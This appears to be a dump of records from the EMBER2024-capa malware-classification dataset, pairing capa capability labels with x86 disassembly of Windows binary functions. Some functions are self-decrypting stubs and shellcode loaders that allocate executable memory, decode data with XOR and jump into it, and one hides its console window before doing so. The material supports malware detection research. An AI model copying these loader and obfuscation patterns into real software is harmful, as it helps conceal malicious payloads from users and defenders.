joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10158960
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101aa548
mov eax, dword fs:[0]
push eax
sub esp, 0x82c
mov eax, dword [0x10222354]
xor eax, ebp
mov dword [ebp - 0x20], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x834], ecx
lea ecx, [ebp - 0x14]
call fcn.10003f70
mov dword [ebp - 4], 0
push 0x2001f
push str.SOFTWAREMicrosoftInternet_ExplorerMain
push SysReAllocStringLen
lea ecx, [ebp - 0x14]
call fcn.100041c0
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x1c], 0x3e8
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x824]
push ecx
push 0x101dbe7c
lea ecx, [ebp - 0x14]
call fcn.100b13b0
lea edx, [ebp - 0x824]
push edx
lea ecx, [ebp - 0x18]
call fcn.10007b00
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.10158b50
push 0x101dbea8
lea ecx, [ebp - 0x18]
call fcn.10094640
movzx eax, al
test eax, eax
je 0x10158a1e
push 0x101dbeb0
lea ecx, [ebp - 0x18]
call fcn.1008cec0
jmp 0x10158a2b
push 0x101dbeb8
lea ecx, [ebp - 0x18]
call fcn.1008cec0
push 1
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x82c]
call fcn.1012f820
mov dword [ebp - 0x838], eax
mov ecx, dword [ebp - 0x838]
call fcn.10009e70
push eax
push str.Display_Inline_Images
lea ecx, [ebp - 0x14]
call fcn.100048c0
lea ecx, [ebp - 0x82c]
call fcn.10009fb0
push 0x101dbeec
lea ecx, [ebp - 0x18]
call fcn.10094640
movzx edx, al
push edx
mov ecx, dword [ebp - 0x834]
add ecx, 0xc
call fcn.10007fa0
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax]
mov ecx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
call eax
mov ecx, dword [ebp - 0x834]
mov edx, dword [ecx + 0x1c]
mov eax, dword [ebp - 0x834]
mov ecx, dword [eax + 0x1c]
add ecx, 0xc4
mov edx, dword [edx + 0xc4]
mov eax, dword [edx + 0x7c]
call eax
push 0
push 0
push 0x1a
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 0x834]
mov edx, dword [ecx + 0x1c]
mov eax, dword [edx + 0x424]
mov ecx, dword [eax + 0x5b8]
mov edx, dword [ebp - 0x834]
mov eax, dword [edx + 0x1c]
mov edx, dword [eax + 0x424]
mov eax, dword [edx + 0x5b8]
mov ecx, dword [ecx]
push eax
mov edx, dword [ecx + 0x30]
call edx
lea ecx, [ebp - 0x14]
call fcn.100040f0
mov dword [ebp - 0x830], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x18]
call fcn.10009fb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.10003fa0
mov eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.10165d18
mov esp, ebp
pop ebp
ret 8
Function at 0x10160cd0
Capabilities:
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x10222354]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
mov ecx, dword [ebp - 0x218]
add ecx, 0x28
call fcn.1000bae0
test eax, eax
je 0x10160d25
push 0x24
push 0x101e4a1c
mov ecx, dword [ebp - 0x218]
add ecx, 0x28
call fcn.10007fa0
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
je 0x10160d25
mov eax, 0xfffffe6f
jmp 0x10160d92
mov ax, word [0x101e4a28]
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.10166680
add esp, 0xc
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0
push ecx
mov ecx, esp
mov dword [ebp - 0x214], esp
lea eax, [ebp - 0x210]
push eax
call fcn.1000ba00
mov dword [ebp - 0x21c], eax
call fcn.100a3700
add esp, 0xc
push 0
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10165d18
mov esp, ebp
pop ebp
ret 8
Function at 0x10165927
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x10225504], 0
push esi
jne 0x10165895
call fcn.101657a9
test eax, eax
je 0x101658d8
mov eax, dword [0x10225504]
cmp eax, 1
jne 0x101658b6
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x101658d8
pop esi
ret
push eax
call dword [0x1022550c]
test eax, eax
jne 0x10165920
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x101658dc
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x10225504]
call dword [0x1022550c]
mov edi, eax
test edi, edi
je 0x10165901
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1016591d
mov edi, esi
add esi, 0xff0
push edi
push dword [0x10225504]
call dword [0x10225508]
add edi, 0x10
cmp edi, esi
jb 0x10165909
mov eax, edi
pop edi
pop esi
ret
jmp 0x10165882

Function at 0x10165d18
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10222354]
jne 0x10165d22
repz ret
jmp fcn.1016eb67
Function at 0x1018703d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.101701c2
and dword [ebp - 4], 0
cmp dword [0x10226028], 0
mov ebx, eax
jne 0x101870ee
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1018719f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1018719f
push eax
call fcn.10170150
mov dword [esp], 0x101f0450
push edi
mov dword [0x10226028], eax
call esi
push eax
call fcn.10170150
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1022602c], eax
call esi
push eax
call fcn.10170150
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10226030], eax
call esi
push eax
call fcn.10170150
pop ecx
mov dword [0x10226038], eax
test eax, eax
je 0x101870ee
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10170150
pop ecx
mov dword [0x10226034], eax
mov eax, dword [0x10226034]
cmp eax, ebx
je 0x10187146
cmp dword [0x10226038], ebx
je 0x10187146
push eax
call fcn.101701cb
push dword [0x10226038]
mov esi, eax
call fcn.101701cb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10187146
test edi, edi
je 0x10187146
call esi
test eax, eax
je 0x1018713d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1018713d
test byte [ebp - 0xc], 1
jne 0x10187146
or dword [ebp + 0x10], 0x200000
jmp 0x1018717f
mov eax, dword [0x1022602c]
cmp eax, ebx
je 0x1018717f
push eax
call fcn.101701cb
pop ecx
test eax, eax
je 0x1018717f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1018717f
mov eax, dword [0x10226030]
cmp eax, ebx
je 0x1018717f
push eax
call fcn.101701cb
pop ecx
test eax, eax
je 0x1018717f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10226028]
call fcn.101701cb
pop ecx
test eax, eax
je 0x1018719f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101871a1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401271
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x1c
push esi
push ecx
pop esi
sub ecx, ecx
mov edx, dword [esi + 0x3c]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
add edx, esi
mov dword [eax], ecx
mov eax, 0x14c
push edi
push ecx
pop edi
cmp word [edx + 4], ax
jne 0x4013b8
push ebx
mov ebx, dword [edx + 0x88]
mov dword [ebp - 0x14], ebx
or ebx, ebx
je 0x4013b7
cmp dword [edx + 0x8c], ecx
je 0x4013b7
movzx eax, word [edx + 0x14]
add eax, 0x18
add eax, edx
movzx edx, word [edx + 6]
or edx, edx
je 0x4013b7
cmp dword [eax + 0xc], ebx
je 0x4012e2
inc ecx
add eax, 0x28
cmp ecx, edx
jb 0x4012d0
jmp 0x4013b7
mov edx, dword [eax + 0x14]
add edx, esi
push 0
movzx ecx, word [edx + 0xe]
movzx eax, word [edx + 0xc]
add ecx, eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
pop ebx
je 0x4013b7
xor eax, eax
mov esi, dword [edx + eax*8 + 0x14]
and esi, 0x7fffffff
add esi, edx
push 0
movzx ecx, word [esi + 0xe]
movzx eax, word [esi + 0xc]
add ecx, eax
mov dword [ebp - 0x18], ecx
pop ecx
mov dword [ebp - 0xc], ecx
je 0x4013aa
xor eax, eax
cmp word [esi + eax*8 + 0x10], 0x65
jne 0x40139a
mov ecx, dword [esi + eax*8 + 0x14]
and ecx, 0x7fffffff
add ecx, edx
mov dword [ebp - 8], 0
movzx eax, word [ecx + 0xe]
mov dword [ebp - 4], eax
movzx eax, word [ecx + 0xc]
add dword [ebp - 4], eax
je 0x401393
sub eax, eax
mov edx, 0x409
cmp word [ecx + eax*8 + 0x10], dx
mov edx, dword [ebp - 0x10]
je 0x401376
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
movzx eax, ax
cmp eax, dword [ebp - 4]
jb 0x401356
jmp 0x401393
mov ecx, dword [ecx + eax*8 + 0x14]
mov edi, dword [ebp + 0xc]
mov eax, dword [ecx + edx]
sub eax, dword [ebp - 0x14]
add eax, edx
mov dword [edi], eax
mov eax, dword [ecx + edx + 4]
mov ecx, dword [ebp + 0x10]
sub edi, edi
mov dword [ecx], eax
inc edi
or edi, edi
jne 0x4013b7
mov ecx, dword [ebp - 0xc]
inc ecx
movzx eax, cx
mov dword [ebp - 0xc], ecx
cmp eax, dword [ebp - 0x18]
jb 0x401329
or edi, edi
jne 0x4013b7
inc ebx
movzx eax, bx
cmp eax, dword [ebp - 0x1c]
jb 0x401302
pop ebx
mov eax, edi
pop edi
pop esi
leave
ret 0xc

Function at 0x4013c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push esi
push edi
mov edi, edx
mov ebx, edi
shr ebx, 2
and edi, 3
mov esi, ecx
test ebx, ebx
je 0x4013f3
mov al, byte [ebp + 0xc]
mov edx, dword [esi]
add al, bl
movzx ecx, al
mov eax, dword [ebp + 8]
ror edx, cl
xor edx, eax
sub edx, ebx
mov dword [esi], edx
add esi, 4
dec ebx
jne 0x4013d6
jmp 0x4013f6
mov eax, dword [ebp + 8]
test edi, edi
je 0x401400
xor byte [esi], al
inc esi
dec edi
jne 0x4013fa
pop edi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x401407
Capabilities:
Terminate process

Disassembly:
push ebx
mov eax, 0x103d3
mov ebx, 0x12345678
mov ecx, 0x12345678
mov edx, 0x12345678
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [section..data], eax
jmp loc.0047950e
Function at 0x41786b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408dc5
mov dword [ebp - 0x14], eax
cmp dword [0x4bea98], esi
jne 0x41795e
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4178eb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x417a3e
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x417a3e
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x417a3e
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4bea98], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4bea9c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4beaa0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4beaa8], eax
test eax, eax
je 0x41795b
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4beaa4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417983
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417976
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417998
push 4
pop eax
jmp 0x417a40
cmp dword [ebp - 0x14], esi
je 0x417998
push dword [0x4bea98]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41797d
mov eax, dword [0x4beaa4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4179f6
cmp dword [0x4beaa8], edi
je 0x4179f6
push eax
call ebx
push dword [0x4beaa8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4179f6
test eax, eax
je 0x4179f6
call ecx
test eax, eax
je 0x4179eb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4179eb
test byte [ebp - 8], 1
jne 0x4179f6
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x417a26
mov eax, dword [0x4bea9c]
cmp eax, edi
je 0x417a23
push eax
call ebx
test eax, eax
je 0x417a23
call eax
mov esi, eax
test esi, esi
je 0x417a23
mov eax, dword [0x4beaa0]
cmp eax, edi
je 0x417a23
push eax
call ebx
test eax, eax
je 0x417a23
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4bea98]
call ebx
test eax, eax
je 0x417a3e
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x417a40
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00406f87
mov esp, ebp
pop ebp
ret
Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x407db7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x407dc6
pop dword [ebp - 0x10]
mov eax, 0xf5a76be0
sub eax, 0xf566ee1a
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x96ca9dcf
add dword [ebp - 0x20], 0xb787a77c
mov dword [ebp - 0x1c], 0x2e0578e9
sub dword [ebp - 0x1c], 0xfbd22ca4
mov dword [ebp - 0x18], 0x33ce95fc
sub dword [ebp - 0x18], 0xe78251ce
mov dword [ebp - 0x14], 0x4207a9ec
sub dword [ebp - 0x14], 0x4207a9ec
lea eax, [ebp - 0x20]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0xdf555771
add dword [ebp - 0x20], 0x951d11e5
mov dword [ebp - 0x1c], 0xec61455c
sub dword [ebp - 0x1c], 0xaaf4e3e7
mov dword [ebp - 0x18], 0x4b8002bd
add dword [ebp - 0x18], 0x17ef69af
mov dword [ebp - 0x14], 0x6658ebd5
sub dword [ebp - 0x14], 0x6658ebd5
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x39f89
push 0
call eax
mov ecx, 0x976c8284
sub ecx, 0x976c3870
mov ebx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x10]
mov edx, 0x70a7eaf2
mov esi, dword [edi]
xor dword [ebp - 0xc], edi
sub esi, edx
mov dword [ebx], esi
add dword [ebp - 0xc], ecx
add ebx, 4
add edi, 0x9a7cefd6
sub edi, 0x9a7cefd2
loop 0x407ed2
add eax, 0x73e851dc
add eax, 0x8c18c947
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x19cb1106
add ecx, 0xe674eefa
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401070
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x480030]
jne 0x40107a
repz ret
jmp fcn.00401e51

Function at 0x408b0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d5a
and dword [ebp - 4], 0
cmp dword [0x482848], 0
mov ebx, eax
jne 0x408bbc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408c6d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408c6d
push eax
call fcn.00404ce8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x482848], eax
call esi
push eax
call fcn.00404ce8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48284c], eax
call esi
push eax
call fcn.00404ce8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x482850], eax
call esi
push eax
call fcn.00404ce8
pop ecx
mov dword [0x482858], eax
test eax, eax
je 0x408bbc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404ce8
pop ecx
mov dword [0x482854], eax
mov eax, dword [0x482854]
cmp eax, ebx
je 0x408c14
cmp dword [0x482858], ebx
je 0x408c14
push eax
call fcn.00404d63
push dword [0x482858]
mov esi, eax
call fcn.00404d63
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408c14
test edi, edi
je 0x408c14
call esi
test eax, eax
je 0x408c0b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408c0b
test byte [ebp - 0xc], 1
jne 0x408c14
or dword [ebp + 0x10], 0x200000
jmp 0x408c4d
mov eax, dword [0x48284c]
cmp eax, ebx
je 0x408c4d
push eax
call fcn.00404d63
pop ecx
test eax, eax
je 0x408c4d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408c4d
mov eax, dword [0x482850]
cmp eax, ebx
je 0x408c4d
push eax
call fcn.00404d63
pop ecx
test eax, eax
je 0x408c4d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x482848]
call fcn.00404d63
pop ecx
test eax, eax
je 0x408c6d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408c6f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40adb0
Capabilities:
Set console window title

Disassembly:
sub esp, 0x420
mov eax, dword [0x480030]
xor eax, esp
mov dword [esp + 0x41c], eax
mov eax, dword [0x2c6023c]
push ebx
mov ebx, dword [0x2c5ff60]
push esi
mov esi, dword [0x480f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40adf1
push str.zolihetujejijitewi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2c6023c]
mov dword [0x4829ec], esi
cmp eax, 0x114e
jne 0x40ae1b
lea eax, [esp + 0xc]
push eax
push str.Gijetuhe_batawuwafadis_fomikayemes_zeruru
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2c6023c]
cmp eax, 0x2f
jne 0x40ae3b
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call fcn.0040aca0
mov ecx, dword [esp + 0x428]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401070
add esp, 0x420
ret
Function at 0x4019f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov dword [0x4040c0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x4019ff
push esp
mov dword [ebp - 0x24], 0x40171b
mov eax, dword [0x4040c0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040c0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040c8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a9e
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a7f
pop ebp
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4011e2
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 0x2ebae40
push ebx
call fcn.00402037
mov esi, eax
pop ecx
test esi, esi
jne 0x401217
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 0xa0
push esi
call fcn.004020d0
add esp, 0xc
mov ebx, 0x1786
xor ecx, ecx
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [edi + str.oztqyxxnwwpuy]
mov byte [ecx + section..data], al
lea eax, [edi + 1]
push 0xd
pop edi
cdq
idiv edi
inc ecx
mov edi, edx
cmp ecx, ebx
jb 0x40122d
lea eax, [ebp - 0xc]
push eax
push 0x40
push ebx
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push esi
call fcn.00401fc2
mov esi, dword [ebp - 4]
pop ecx
push esi
call fcn.004010c0
mov ebx, eax
test bl, 0x10
je 0x40128a
xor edi, edi
xor ebx, 0x10
jmp 0x40128d
push 0xa
pop edi
push 4
test ebx, ebx
pop eax
cmove ebx, eax
test al, bl
jne 0x4013af
test bl, 8
je 0x4012c8
push str.wine_get_dos_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
jmp 0x4013d0
add esi, 4
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
cmp dword [esi], 0
je 0x4013ab
mov eax, ebx
and eax, 2
and ebx, ecx
mov dword [ebp - 8], eax
mov byte [ebp - 0x110], 0
test eax, eax
je 0x401340
push 0x104
lea eax, [ebp - 0x318]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x401328
xor ecx, ecx
lea eax, [ebp - 0x110]
push ecx
push ecx
push 0x104
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x318]
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
lea eax, [ebp - 0x110]
push eax
push str._s_c
call fcn.0040191c
mov ecx, dword [ebp - 4]
add esp, 0xc
test ebx, ebx
je 0x401395
push 0x104
lea eax, [ebp - 0x318]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40137d
xor ecx, ecx
lea eax, [ebp - 0x110]
push ecx
push ecx
push 0x104
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x318]
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
lea eax, [ebp - 0x110]
push eax
push str._s_c
call fcn.0040191c
mov ecx, dword [ebp - 4]
add esp, 0xc
inc ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
lea esi, [eax + ecx*4]
mov eax, dword [ebp - 8]
cmp dword [esi], 0
jne 0x4012e4
push 0
jmp 0x4013e3
push str.wine_get_unix_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
call fcn.00401616
add eax, 0x40
push eax
call fcn.00401759
add esp, 0xc
push 3
call fcn.00401fae
int3